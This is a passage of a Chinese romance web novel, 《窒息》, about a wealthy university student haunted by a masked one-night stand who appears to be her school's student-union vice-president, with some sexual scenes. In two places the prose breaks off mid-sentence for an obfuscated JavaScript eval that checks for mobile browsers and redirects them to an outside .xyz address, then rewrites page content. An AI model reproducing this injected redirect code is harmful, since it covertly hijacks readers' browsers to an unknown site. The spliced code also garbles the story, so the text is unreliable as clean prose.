《窒息》 1. 窒息 柯愫澄对靳宥司产生兴趣,是在和三五好友的聚会上,男性友人递了张照片过来,照片中少年穿着附中校服,清瘦而挺拔。 他负手立在窗前,烈阳映着他的脸,他皮肤白,眼睫细密,鼻梁高挑,下颚线轮廓分明。 他身旁还有几个男生,同样穿着校服,人群之中,却能一眼就注意到他,少年感与矜贵清冷感并存。 柯愫澄试想过无数种搭讪的情节与话术,却不曾想,两人的第一次正式打交道是在酒店的床上,还是在下注追人的半年之前。 这么说起来柯愫澄并非完全没有印象,毕竟靳宥司在那方面的技术相当出色,以至于在两人断联的这半年时间里,那个晚上令人窒息的画面总是浮现于脑海之中。 至于两人是怎么勾搭上的,又是怎么一拍即合进入酒店的,事情发生在三月最后一个周五的晚上。 这天是柯愫澄的二十岁生日,以往的每一次生日,她都会叫上二代圈的一大帮子朋友来家里开party。 而今年因为母亲温随在家的缘故,一群朋友没一个敢放肆,憋了小半个月的激情因为一句我妈回来了,当头就是一盆冷水,那一股子劲被无情的浇灭。 此时距离晚饭开餐还有一段时间,柯愫澄窝在卧室的懒人沙发里,床头柜上的蓝牙音响,正循环播放着一首节奏感强烈的英文歌,是HSHK/Vodke的《50-Cent Disco(Slow)》,柯愫澄最近的心头爱。 随着歌曲进入高.潮部分,强烈的听觉冲击作用下,身体不自觉跟着节拍摆动,指尖有节奏的轻轻敲击在矮脚桌面,柯愫澄的大腿上摆着台笔记本电脑,界面停留在FL Studio编曲软件上。 半小时后,保姆阿姨的叩门声和电话铃声同时响起。 柯愫澄瞟了眼旁边矮脚桌上的手机,来电人是圈内好友黎荔。 门外,“柯小姐,可以吃晚饭了,夫人已经在餐厅等您了。” 柯愫澄挂了黎荔的电话,应了门外一声:“马上来。” 随后给黎荔回了个消息:【吃饭,晚点联系。】 黎荔急死了,一刻都等不下去:【出不出来?】 柯愫澄已经起身出了卧室,边下楼梯边打字:【吃完饭看我妈情况。】 消息发送过去,随之而来的是母亲温随的催促声:“澄子,今天是你的生日,吃饭这么不积极是被什么事耽搁了吗?” 柯愫澄将手机锁屏塞裤兜,来到餐厅在主位右侧坐下,回温随的话:“在处理学校的事情。” 温随浅笑着点头表示理解,拿筷子的同时让柯愫澄赶紧尝尝阿姨做的罗氏虾,而后照例问了些问题:“最近学校生活过得怎么样?听你们老师说你打算辞去副班长一职,是有什么心事吗?” 温随的语调依旧,平静中却透着清贵和威仪。 柯愫澄夹菜吃饭,回话的态度极为随意:“没心事,单纯懒得处理班里那堆破事。” 温随不介意柯愫澄说这样粗鲁的话,唇角微微上扬,温柔又耐心的教导着她:“那哪能是破事,在学校帮助同学,协助老师的工作,在社会上领导员工,处理公司的大小事,这些都是你需要学习的,哪能嫌麻烦呢。” 说完这句,她像是忽然间想到了什么,眼神瞬间放冷:“或者说你嫌事多是因为你又开始玩摩托车了?又或是捣鼓你那些破鼓破乐器?” 话音落,柯愫澄继续低头吃着饭,不辩解,不顺从,听着,随意回着,等温随念叨完就万事太平了。 只可惜今晚温随似乎并不打算就这么算了,见柯愫澄的反应和回答都极为敷衍,原本挂在脸上的笑容瞬间止住:“车库里那辆车是你来处理还是我帮你处理,你做个选择吧。” 柯愫澄不明白温随为什么非得今天来找自己的茬,不想跟她闹掰,将筷子撇到餐桌上:“妈,今天是我生日,能让我心里顺坦点吗?” 闻言,温随眼色更加阴沉,有些不可置信的冷笑出声:“为了能陪你过这个生日,我忙前忙后连轴转了一个多礼拜才抽出时间,现在看来我的付出和用心都是错误的咯。” 柯愫澄没话说了,闭嘴了,与温随对视了不到三秒钟,两人同时起身,前后脚离开餐厅。 和温随不欢而散后,柯愫澄应下黎荔的邀约,半小时后出现在一家刚开业不久的清吧前。 这家清吧最近三天每天都换着花样的办活动,为的就是跟隔壁的店抢生意,而今晚的活动主题是假面舞会。 进入现场前,服务员会在每一位客人的手背上按上荧光印章,以及发一副半脸面具。 戴上黑色劣质面具后,柯愫澄被黎荔拽着往清吧内走。 边走着,柯愫澄不合时宜的提了一嘴:“你确定你对象不会跟你闹。” 黎荔这会儿情绪正高,完全听不进这些,只是一副无所谓的态度:“不会的,你就放心吧。” 柯愫澄没什么好不放心的,她太了解黎荔和她男朋友,俩人都是她发小。正因如此她才会说这话,算是提前打个预防针。 顺利进到主场厅,音乐声从四面环绕的音响中涌出,迷离灯光下,舞池中央的男男女女放肆的摇曳着身姿。 空气中弥漫着的酒精以及荷尔蒙的味道让人上头。 穿过人潮,柯愫澄先一步找位置坐了下来。 面前桌上摆放着各式各样的酒水饮料,果盘小食。她拿起子弹杯架上的shot杯,仰头将酒灌入口中。 龙舌兰酒的口感独特,加上杯口一圈用柠檬抹过,又撒了盐,入口不辣,回味起来能感受到细细的龙舌兰和蜂蜜的混合香气。 喝了一杯后柯愫澄瞬间爱上这种口感和味道,没一会儿的功夫就把这一打酒全喝了个干净。 一旁正四处张望的黎荔瞧见这一幕,下意识抬手挡了下柯愫澄继续拿酒的动作,语重心长的说:“你还是悠着点吧,等会儿醉了我可搞不定你啊。” 柯愫澄就这点爱好,平常有事没事就乐意喝点小酒,但别看她一口一杯喝得带劲,她酒量没多好,醉了挺吓人,一个人根本搞不定,要不然黎荔也不可能劝阻。 只不过柯愫澄似乎并没有自知之明,眉头一皱,越过黎荔的胳膊拿桌另一边的酒,说话语气拽得没边:“怕什么,醉不了。” 能不怕吗,黎荔叹气都来不及,完全放不下心,但转念一想,可能真的是她太多虑了,毕竟在不久前柯愫澄才因为揍了一个猥琐男而进局子。 那天她不在场,是后来听朋友说起才知道,那个骚扰人半条街的猥琐男一颗牙被打得缺了一半,鼻血喷了十几分钟才止住。 而一旁半靠着门框,手揣裤兜,嘴里嚼着泡泡糖的柯愫澄毫发无伤。在旁人眼里,柯愫澄甚至有一种打爽了的感觉。 黎荔见她喝酒的速度算不上快,想着问题应该不大,也就不再拦着她,自个跑别的地方去交朋友了。 此时卡座里只剩下柯愫澄一人,瞬间有种失恋后孤零零喝闷酒的即视感。 正因如此,远处几个贼眉鼠眼的男人很快注意到了这位年轻的姑娘,不自觉上下打量起她来。 柯愫澄穿的jk制服,黑色格裙被卷了两圈,搭配黑丝过膝袜,露出的一小截大腿白得发光。 虽然戴着面具,但多多少少能看得出,她的长相是偏妖艳那一挂的,巴掌大小的脸被刘海挡掉三分之一,面具遮住的部分完全可以不计,剩下能看到的,最为撩人的属她那双漾着攻击性的眼睛,不知觉中透着生人勿近的压迫感。 她似乎什么都不用做,光是站在那就足够让人产生一种十分想靠近,却又胆怯不敢前进的心理。 就比如此时此刻,那群贼眉鼠眼的男人在看到柯愫澄那双眼睛后,在附近徘徊许久,捏着的酒杯都快碎了,搭讪的措辞还没想好。 明明柯愫澄只是在没劲的喝着酒,一手撑着下巴盯着台上的歌手发呆,但她浑身上下散发出的诱惑力着实让人窒息。 远处一群男人中的一个在这时发言:“上不上啊,你们谁上?” 另一侧的男人直摇头:“我还是不去了,一看她就眼光比天高,我有自知之明。” 这人旁边一锅盖男已经沉迷其中无法自拔,说话跟喝醉了酒似的,一双眼没从柯愫澄身上挪开:“她的胸好大啊,白衬衫的扣子都快被撑爆了。” 话音落,周围几人一脸不可思议的齐齐看向锅盖男,下意识卧槽了句。 第一位发言的男人紧接着说:“你变态啊,小心她报警抓你。” 锅盖男挺看不起这几人的,十分不屑的冷哼一声:“你们可真够怂的啊,看看又不能咋滴。” 几人没话说,连连摇头,却始终没有任何一人敢上前主动搭讪。 与此同时的焦点中心。 柯愫澄闷着喝了半小时的酒,桌上酒水所剩无几,正想着什么时候撤退,去别的地方找点乐子,无意间听到隔壁卡座一群年轻男女的嬉笑声,话题围绕着复大学生会副主席展开。 “所以你的意思是打算追求咱学校学生会副主席咯。” 女生原本没打算承认,奈何游戏输了,如果不选择真心话,大冒险任务大概率会让人很难堪。 不等她说什么,另一侧的寸头男抢先一步道:“所以我挺搞不明白你们姑娘家的,怎么都喜欢副主席啊,他到底哪儿好了?除了学习成绩不错还有啥值得喜欢的吗?” 这话语间充斥的嫉妒和不屑是个人都能听得出,卡座里几个女生觉得无语,纷纷出来与寸头男对峙。 “你懂什么呀,人家可不止学习成绩好,就单说长相这一块儿,咱学校有几个能摆上台面跟他比的?” 寸头男依旧那副嘴脸,靠着沙发,双手环抱放在胸前,头微微偏向一侧,冷哼一声:“长得帅有什么用,他调子不挺高来着,听说拒绝起人来还挺狠的,这都能接受?” 另一位女生有些生气的解释:“根本不是你听来的那样,副主席他只是不太会跟人打交道,说话少,看着冷冷淡淡,但要是问他学习方面的问题,他是很乐意跟人讲解的。” 沙发角落处的短发姑娘紧接着说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867535|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有啊,他这人不抽烟不喝酒不出去乱搞,身体绝对顶顶的棒。” “你管人身体好不好干啥,要跟他打.炮啊。”遇到这个话题,男生免不了开颜色玩笑。 短发姑娘倒是没什么所谓,也不怕被造谣:“我倒是想啊,可咱副主席一看就是禁欲那一挂的,不搞这些乱七八糟的事儿。” 听了这话,寸头男嗨哟喂了声,情绪不自觉激动了几分,一手敲着桌子:“这天底下有哪几个男的不爱搞这些?就骗你们这些单纯的小姑娘,还禁欲呢。” 最先站出来跟男方对峙的女生摆了摆手,算是让步:“行行行,你们男的都爱乱搞,我们知道啦!但有一说一,人副主席家多有钱多有势你不会不清楚吧。” 旁边女生立马附和:“所以说你们这些普信男有什么实力跟他比啊?其他的我不清楚不敢说,有一点,公认的,副主席人品和三观没毛病啊。” 看到寸头男脸色逐渐变得铁青,短发姑娘忍不住笑道:“你怕不是气得后槽牙都咬碎了吧哈哈。” …… 柯愫澄听着几人的对话内容,倒觉得有趣儿,不自觉就又喝了好几杯酒。 此时她的意识还算清醒,就是头晕得厉害,原本就想不起来,他们口中所提到的这位副主席究竟长什么样,脑海中模模糊糊浮现出一张脸,却始终找不到适配的五官。 也就在这时,黎荔的消息传了过来,就俩字:完了。柯愫澄知道,黎荔大概率已经被她对象给抓走。 刚好她酒也喝够了,没有再待下去的必要。 将手机锁屏塞入绀色西服口袋,柯愫澄摸了一把放在沙发左侧的黑色手提单肩包,却猛然发现手边空无一物。 紧接着不远处的人潮中不知怎地,引发了一阵骚动,似乎是几个醉酒的大高个撞到了一起。 而这其中一个戴面具的黑衣男子行踪十分可疑,正小心翼翼地移动着步子,被人撞到后他下意识回头看向柯愫澄在的方向,全然不在乎面前男人的咒骂。 这一回头他和柯愫澄的视线撞了个正着,就这么一瞬间,他的脸色骤变,慌张的将黑色手提包抱进怀里,撒腿就往清吧后门跑去。 见状,柯愫澄快速起身追了上去,也不忘要吧台里的调酒师打电话报警。 由于现场已然乱成一团,调酒师并没听清楚柯愫澄要他报警做什么,还想着几个客人发生口角这样的小问题应该也用不着警察出动吧。 而另一边已经追到清吧后门的柯愫澄,因为事情发生得过于突然,加上她先前喝太多酒的缘故,眼前的一切似乎都在晃动。 如果包中没有贵重物品偷了也就偷了,但里头还塞着没有拷贝的u盘。那东西丢不得,柯愫澄没辙只能追。 推开笨重的后门,狭窄漆黑的巷子里已然没了小偷的踪影。 抱着侥幸的心理,柯愫澄迈步往喧哗吵闹的街道走去。 没走几步便看到不远处的暗黄路灯下,穿着黑色连帽卫衣的男人立在巷子口,他姿态散漫,也戴着同款劣质面具,正惬意的倚在墙上,指间猩红一点,周身烟雾缭绕。 由于巷子里过于冷清,柯愫澄能很清楚的听到这人通电话的声音。 他语气拽又吊儿郎当:“你人哪去了?把我骗过来撂下就走了?梁清屿真有你的啊。” 此时柯愫澄已经走到巷子口,男人余光瞟到,他浅浅咬着烟蒂,一声不吭把身侧木架子上的黑色手提包往柯愫澄怀里扔。 柯愫澄反应迅速的伸手接住,诧异间两人视线相撞。 男人吸了口烟,缓缓吐出烟雾。 不知道电话那头的人说了句什么,他懒洋洋地:“得,欠我顿饭。” 柯愫澄来不及过多思考,也没问这人怎么会知道小偷手里的包是自己的。 在他挂掉电话的一瞬间,快速道了句:“谢了。” 闻言,男人漫不经心的掀起眼皮看了过来。 柯愫澄两眼些许迷离,像是蒙上了一层水雾,看不清楚面前的人,当下只觉得他抽的这烟味道特好闻,有股淡淡的薄荷味果香,甜而不腻。 而这天晚上后面发生的一切,柯愫澄真的都有印象,只不过她并不知道一夜.情的对象,居然会是同校学生会副主席靳宥司罢了,毕竟他们是戴着面具做的。 更为重要的是,约.炮这人似乎跟传闻中的学生会副主席,所呈现出来的人设有很大的出入。 那些脑海中久久无法消散的画面,足以让柯愫澄彻夜失眠,严重到在接下来的几个月时间里,她需要靠褪黑素才能成功入睡。 好不容易解决了失眠的问题,一闭上眼,低磁的男声就在耳畔响起。 他动作不温柔,一手攥着她手腕,另一只手把在她细腰。 柯愫澄觉得不舒服,怼的那几下,她感觉自己快要死掉,尝试挪动身体,想要换个位置。 感受到混着酒气的呼吸洒在颈后,又烫又痒。 想逃,却被重重按了回来。 低闷的声音从后方传来:“趴好,别乱扭。” 2. 薄荷味 耳边智能闹钟准点播报:现在是8月22日星期五,燕京时间上午十点整,天气晴,室外温度三十七摄氏度。 做了一宿的噩梦,柯愫澄醒来时,额前冒着薄薄一层汗珠,冰丝睡衣粘在皮肤上,黏糊难耐。 她起床将湿透的睡衣脱去丢进洗衣机,转身进入浴室冲了个澡。 擦着头发回到卧室时,刚好看到床头柜上的手机亮着光,屏幕上接连弹出好几条微信消息。 她拿起手机往楼下客厅走,边点进微信,看到是母亲温随发来的语音,总共有五条,每条将近四十秒。 柯愫澄懒得听,转文字看了内容,没说什么特别重要的事,无非就是让她负起责任,既然接下了这个活儿,就要好好带大一新生,任性的脾气收一收,给学弟学妹们留个好印象。 在沙发上坐下后,她将手机撇到一旁,继续擦半湿不干的头发。 没两秒又把手机捡回来给温随回了个‘嗯’的表情包。 消息发送过去,她将毛巾丢到满是杂物的茶几上,起身到一堆纸箱中翻找等会儿出门要穿的衣服。 从家搬出来住也有俩周时间,十几个纸箱就收拾了一个,其他的都还堆在客厅,让本就不算宽大的客厅更显拥挤。 前阵子黎荔来参观时,还特别吐槽了这套房子面积太小,柯愫澄倒没什么所谓,她在买下这套loft时,看中的就是客厅那一整面落地窗,可以俯瞰黄浦江的夜景,至于套内面积,100平一个人住绰绰有余。 记得当时黎荔参观完新住址还蛮震惊的,因为她真的没想过温随居然会同意柯愫澄搬出来自己住,下意识问了句条件是什么,又猜测该不会是拿自由换的吧。 柯愫澄身边的三五好友似乎都挺了解温随的做事风格,搬出来住谈的条件的确跟自由有关,毕竟当大一新生的助理辅导员不是个轻松活儿,早六晚十的盯着,他们站操场上晒太阳,柯愫澄就得撑着伞站在操场上陪着。 还不止这些,一堆破事都需要助辅来处理,问题就是复大的传统,军训有三个礼拜之久。这二十一天新生不瘦几斤,柯愫澄只怕都得掉称。 想到这些,今天下午两点还得回学校开个会。别人这会儿正开心的过着暑假生活,牛马们就得收拾收拾去学校待命了。 这阵子柯愫澄本来就因为失眠的事烦躁到不行,现在又被迫接下这一档子破活儿,她没心情再顾及别的,随便点了附近一家贝果的外卖。 吃完化了个妆,她拿上车钥匙,拎着头盔出了门。 全黑机车开进学校时,距离点名签到还有二十分钟。 柯愫澄把车停进车棚,摘头盔,甩头发,拔钥匙,跨下车,走人,一气呵成。 不远处俩男生看到这一幕,忍不住小声议论。 “我靠!那个是不是大二新闻学院的柯愫澄啊,这也太酷了点。” 另一个男生明显对车棚里那辆机车更感兴趣,看了又看:“她那车简直太他妈帅了,还有那头盔,我听人说得这个数。”说着,他抬手比划了个OK的手势,眼睛瞬间瞪得如铜铃一般,音量震天响:“三万块!” 旁边男生原本还沉浸在柯愫澄那一掌宽的细腰中,听到头盔的价格,他嘴巴张大,完全无法理解:“三万块买个头盔?都够我买辆机车了,那她那辆车得值多少钱啊。” 略懂一二的男生不自觉扬起下巴:“你也不看看人大小姐家里是做什么的,他们家那酒店,最普通的大床房都得四五千一晚,总套就别说了,没几个w下不来。” 与此同时另一边,柯愫澄一手拎着头盔,另一只手拿手机看群消息,找开会的阶梯教室。 就在她看群公告的这十几秒钟时间里,群里几个话多的大二生已经聊到停不下来,没一会儿的功夫,群消息就显示50+。 柯愫澄没兴趣参与到他们的话题中,连看都懒得看,将微信直接滑掉,手机揣兜里,顺着楼梯上到了三楼。 看到不远处一间教室的门牌上写着B302,她踱步走过去,还没来得及抬手,一个高大的黑影出现在余光中,抢先一步握住了门把手。 柯愫澄的视线随即落在握门把手的那只手上,这是一只男人的手,骨骼分明而修长,瓷白的皮肤下隐约可见淡青色纹路。 她盯了两秒,这人已经推门进入了阶梯教室,唯一留下的是他身上清冽的檀木香,混杂着淡淡薄荷味,又类似于果香,顺着空气直往鼻翼钻。 这股味道让柯愫澄不由自主的想到了那晚的那个男人。 不等她过度回忆,教室里一道浑厚的男声响起:“靳主席你可总算来了,这帮大二的可太聒噪了,只怕比那群还没进校的新生都吵吵,当初咋选上他们的?” 柯愫澄没听清这男人回话的内容,倒也不关注,径直往教室最后排走去。 选好位置坐下,签到表也传到了柯愫澄这儿。 她签完到,两手揣兜,靠着椅背闭目养神。开会全程都心不在焉,只知道学生会秘书长念叨了俩小时,交代完明天新生报道的注意事项,又讲大后天军训时如何协助教官,管理好自己班的学生。 至于主席人跑哪去了,柯愫澄没关注,一直低着头在编曲软件里捣鼓。 开完会已经临近晚饭点,和黎荔在外滩附近的法餐厅吃过饭后,柯愫澄去清吧喝了点。回到家洗过澡她就准备睡觉了,躺下得有一个多小时,却迟迟无法入眠。 好不容易借助褪黑素睡着了,又莫名其妙做起了梦,还是需要爬梯子才能进入的梦—— 一条月退被高高举起,柯愫澄手掌撑在男人的薄肌上。 她白皙的脸颊在酒精的作用下,微微染上红晕,披散在肩头的长发因动作的幅度,无法控的到处乱跑。 男人轻俯身,拿掉柯愫澄阻挡动作的手,反扣住。 檀木香混着的薄荷味果香弥漫在空气中,柯愫澄大口呼吸,迷离的视线前,男人松了扣住手腕的手,挪到了面具上。 柯愫澄反应极其强烈,几乎是喊叫出来:“不准摘。”她快速阻止男人摘面具的手:“你别看我,我也不想知道你长什么样。” 说完这话,她蹙起眉,强撑着,艰难开口:“能不能认真点,快点做完我要死了。” “快不了,忍着。”他低沉的声音里隐隐透着些许不悦。 …… 耳边智能闹钟响了得有十几秒,柯愫澄才从睡梦中惊醒,腿间的温热让心跳在短时间内无法平静。 她觉得自己大抵是疯了,怎么又梦这些东西。梦就算了,在梦境中她还提出了很多无理的要求,简直太无法无天,居然篡改了那夜发生的事情,难不成就因为那晚那个男人太行了? 为这事柯愫澄已经烦闷了好几个月,好不容易最近没再做类似的梦,昨晚又是怎么个事儿。 随着第二个闹钟的响起,她没功夫再管这些乱七八糟的破事,快速起床洗漱化妆往学校赶。 今明两天是复大新生报道的日子,昨天下午在开会时秘书长就特别强调了迟到的问题。 他料到这群聒噪的大二生绝对不是省油的灯,爱踩点和爱迟那么几分钟的大有人在,为了保证新生进校时,所有人都能待在工作岗位上,昨晚他在群里艾特全体成员,将查到的时间往前挪了十分钟。 柯愫澄准点赶到工作岗位时,秘书长谢津洲刚好查到他们这儿。 看到遮阳棚下坐着的三人,谢津洲满意的点点头,在签到表上画了个勾,而后快步前往下一个岗位。 注意到谢津洲已经离开这边,坐在最中间的女同学忍不住吐槽:“谢津洲不就是个秘书长嘛,牛逼个什么劲啊。” 左侧的男同学不由得瘪瘪嘴,视线还追随着谢津洲:“你也不看看谁给他撑腰,要不是他和靳主席初中就是朋友了,能这样?” 不知道是嫉妒还是怎么着,说着这话,他忍不住翻了个白眼,继续强调:“而已啊,人家可是谢少爷,他们这种有钱人或多或少喜欢管着底下的人,这玩意与生俱来的,没得办法呐。” 柯愫澄没兴趣加入到他们的聊天中,将头盔放到一旁的椅子上,百无聊赖的刷起了短视频。 穿着迷彩服的高个男人拎着麦当劳早餐来到遮阳棚下时,柯愫澄正在看一条科普视频,视频中科普的是普鲁斯特效应,说是只要闻到曾经闻到过的味道,就会开启当时的记忆。 柯愫澄半信半疑的顺手给视频点了个赞,正准备滑下一个视频,一道低沉的男声在头顶响起。 他将纸袋放到桌上:“把早餐先吃了,等会儿忙起来再没时间吃东西了。” 柯愫澄知道说话这人是谁,可太熟悉了。 她眼都没抬:“谢了,你忙你的去。” 等穿迷彩服的男人离开这处,隔壁的女同学忍不住八卦起来:“澄姐,你和贺融生是什么关系啊,看着挺亲密的,我听人说他挺不好相处的诶。” 柯愫澄习惯了旁人问东问西,没什么好隐瞒的,从纸袋中拿出猪柳蛋麦满分和咖啡,特随意的回道:“发小,他就是话少,跟我们几个朋友都这样,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867536|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们就更别说了。” 女同学也不好意思再多问什么,哦了两声也自顾自的刷起了手机,坐等新生入校。 估摸着也就过去了五分钟,柯愫澄早餐都还没吃完,谢津洲在群里艾特全体成员,说门卫要放新生进来了。 她将半个麦满分放回纸袋中,佩戴工作证的功夫,一大批新生拖着行李箱吵吵嚷嚷的朝教学楼前坪,这一排遮阳棚走来。 整整一上午,柯愫澄忙得不可开交,过程中不免被几个学弟要联系方式,她眼都不舍得抬一下,将身份证推还回去,一句:“男宿舍在最东边,后边学妹身份证出示一下。” 就这招,赶走了一个又一个自以为是的小弟弟,柯愫澄也成功的成为了新生群里男生们闲聊时的话题中心人物。 一个上午不到的时间,柯愫澄全方位角度的照片就已经出现在了表白墙上,其中还有一小段视频。 视频中柯愫澄将披散在肩头的长发用鲨鱼夹夹住,身子微微前倾,听对面学妹说话。 就算这样,她的体态依旧端正,没有哈腰驼背,细窄的腰身和那白皙笔直的腿让人挪不开眼。 表白墙上这条说说的求助内容是:能否透露这位学姐的身份信息,以及怎么追上她啊,她真的好漂亮! 评论区第一条:【大二新闻学院柯愫澄,你们这群小兔崽子想追她?不说悬,只能说是很悬,反正至今为止咱学校还没有成功追上的案例,学长在这里只能祝你们好运了。】 这条评论下紧接着有人问:【会不会是她已经有男朋友了,所以其他人才追不上啊。】 这位好心的学长回复:【不可能,她身边就没出现过除她俩男发小以外的其他男生,并且!你找她要微信,或者拜托朋友推号都不好使,不可能加得上,不信你们可以去试试。】 不一会儿的功夫,这条说说的评论就数不清有多少条了,一滑还滑不到底。 而这些柯愫澄并不知情,还是黎荔来学校送饭时跟她提了一嘴,她才知道自己在新生圈已经出了名。 她倒也不关注这些,无所谓旁人如何议论,只专注吃黎荔家厨师做的菜,还不忘问:“你给贺融生带没?” 黎荔正给男友发报备消息,顿了几秒才回话:“他的早给他了,只怕吃得都快见底了。” 发完消息,黎荔一抬头就看到不远处的树荫下,有个高个子,皮肤黑黑的男生一直看着这边。 她手肘下意识抵了下隔壁的柯愫澄:“诶,那谁啊,盯你好半天了。” 柯愫澄抬眸顺着黎荔的视线看过去,刚锁定人物,那男生就急忙偏头望向了别处。 她收回视线,语调冷冷淡淡:“不知道,新生吧。”说完这句,她突然想起一件事,其实老早前她就想跟黎荔说了,但一直没找着合适的机会。 她先是环顾四周,看到大家伙儿都在认真吃着盒饭聊着八卦,便直入主题:“有件事跟你说,我跟人做了。” “啥啥啥??”一时间,黎荔无法从震惊的情绪中抽离出来,她的双眼瞪得像铜铃一般,嘴巴微张,没一点淑女样。 反观一旁的柯愫澄,淡定自若的吃着饭,并不觉得这是一件多么难以启齿的事:“就今年生日那一晚,你走后我跟一男的看对了眼。” 其实黎荔没觉得这是一件差劲的事,不管男女,有生理需求是再正常不过的,但这事搁到柯愫澄身上,简直惊到掉下巴。 黎荔开始猜测想象:“那男的得多帅啊才能被你看上。” 柯愫澄已经吃好了,她边收拾碗筷,边说:“我不知道他长什么样,我俩戴着面具做的。” “啊??”从开头到现在,也就这么几句话,黎荔听后觉得自己大概是个另类,怎么有种听不懂旁边这人在说什么的感觉。 铺垫得差不多了,柯愫澄开始讲重点:“我今天跟你说这事其实是因为自从那次一夜.情后,我经常失眠,还隔三差五就做一次春/梦,我有点受不了,不知道怎么解决这个问题,这事困扰我快小半年了。” 听了柯愫澄这番话,黎荔终于冷静下来,她下意识问了句:“你就没想过再跟他约吗?” 柯愫澄还真想过再约,但是:“他没留联系方式,找不着了。” 这个结果也算是意料之中,黎荔叹气:“那还挺可惜的。” 琢磨了一阵子,在柯愫澄即将开始下午的工作时,黎荔问:“那你有没有一点点有关他的信息?” 柯愫澄几乎没有过多思考,特别认真的说:“技术好算信息吗?” 3. 赌注 看着柯愫澄这么一本正经的说出这个信息,黎荔嘴巴张了合,合了张,完全不知道如何接话。 两人不是没聊过类似的话题,有时黎荔都觉得,再聊这么露骨的内容,只怕都会被封号的程度,但不知道为什么,在听到柯愫澄说的这话后,黎荔替她觉得脸红。 她赶忙捂住柯愫澄的嘴,眼珠子转得比陀螺都快,四处观望,察看动静。 随后挤眉弄眼小声提醒:“哎呀,这种事儿咱还是私下再讨论吧,你现在好好上班,晚点我微信上给你支招。” 她拎着保温桶转身要走,没两步又折返回来,附在柯愫澄耳边,压着音量问:“这事你没跟别人说吧。” 柯愫澄余光瞟到同组的一男一女丢完垃圾正往这边来,她倒也不慌不忙,翘着的腿有一搭没一搭的晃着:“能跟谁说?跟你对象说还是贺融生那个木头说。” 黎荔瞬间松了口气,满意的点点头:“哦也对也对,那就行,保密,这事绝对得保密。” 看着黎荔离开的背影,柯愫澄莫名有种给她安排了一项秘密任务的即视感。真没必要这么夸张,要是哪天这事被别人给发现了,乱传谣言就传吧,随便怎么说,柯愫澄不在乎,也觉得那些陌生人的异样眼光不重要。 目送黎荔离开,柯愫澄继续接下来的迎新工作。 忙活儿了整整一天半,迎新报道活动差不多进入收尾阶段,后半天明显轻松了许多,也正是因为没啥事可干了,递小纸条的人数逐渐飙升。 同组的男同学送来今天下午的第八张小纸条时,坐在一旁闲聊的女同学忍不住了:“这都第几张了啊,这届新生胆子还挺大的,报道第二天就按耐不住追学姐了,对自己也太自信了点吧。” 男同学将纸条放到柯愫澄面前的桌上,双手揣兜里,耸耸肩:“可不嘛,不过这个递小纸条的学弟长得还挺标致的,看那身板和肤色,像个体育生。” 闲聊还在继续,柯愫澄也终于完成了手头上的任务,将初稿发给乐队经纪人,抬眼就看到桌面上摆着一张小纸条,上面写着人名和一串数字。 这种类似的搭讪方式柯愫澄这两天见多了,没功夫理会,将纸条揉成团丢进了垃圾篓。 见时间也不早了,差不多可以下班了,柯愫澄站起身将胸前的工牌摘去,递给还在闲聊的女同学,随后拎起旁边椅子上的头盔准备走人。 刚跨出一步,一陌生男子冲到跟前,不打一声招呼的开始做自我介绍:“学姐你好,我是物理学一班的周肆决,很高兴认识你。我觉得学姐你长得特漂亮,想跟你交个朋友,不知道方不方便加个——” 话还没说全,柯愫澄掀起眼皮,语调冷淡道了句抱歉,随后绕道离开。 也就这么十几秒钟的事儿,周围一大帮子人跟被点了穴位似的,一动不动,大气都不敢喘。 从男子出现,到开始做自我介绍,再到柯愫澄眼都不眨一下的拒绝,最后无情走掉。 事情发生得太过突然,时间也过于短暂,稍微走个神,剧情就走完了。 不知道是觉得怪尴尬的还是怎么着,等女主角人都走得没影了,也没人吱声说话,比那校领导坐教室后头听课还安静,唯一的吱吱声是树上那蝉发出来的。 与此同时另一边,已经戴上头盔的柯愫澄收到了来自母亲温随的问候。 她将挡风镜片打上去,点进微信看具体内容。前几句话其实没什么问题,到第不知道多少条就开始变味。 温随:【听说学生会副主席一职空缺许久,你辞掉副班长这事我就不跟你计较了,我已经向你们院书记提了让你进学生会的事,这次别再丢我面子。】 看到这一大段话,强烈的窒息感一点点的,从胸腔蔓延至全身。 柯愫澄不知道回什么,似乎已经习惯了温随这样的做事风格,总是将那些她觉得好的东西,强塞进自己的怀里。如果不按照她所想的去做,那就是叛逆,就是任性,脾气差,等等等等。 不等柯愫澄回话,屏幕上弹出一条新消息。 温随:【你不用措辞回我了,心里有数就行。】 刚好柯愫澄也没话跟温随讲,她俩讲不到一块儿去,说俩句就要吵,不如就一直冷战下去来得痛快。 将挡风镜片打下,手机塞包里,启动车子走人。 回到家,柯愫澄快速冲了个澡,倒床上补了三个多小时的觉。 醒来时好友的电话刚巧打进来,她顺手给挂了,进微信群看消息,得知是黎荔男友攒的局,柯愫澄妆也懒得画,拿上车钥匙,拎着头盔出了门。 半小时后,全黑机车停在了酒吧街。 柯愫澄到场时卡座里已经坐满了人,唯一空出来的中心位是给她留的。 不等她坐下,黎荔男友陈弗凡特八卦的开启话题:“澄子,听闻你拒绝了咱学校新生圈里的风云人物啊。” 柯愫澄不清楚今天下午跟她搭讪那男生是谁,唯一的印象就是皮肤有点黑,个挺高,至于五官什么样,没印象了。 她随口问:“听谁说的?” 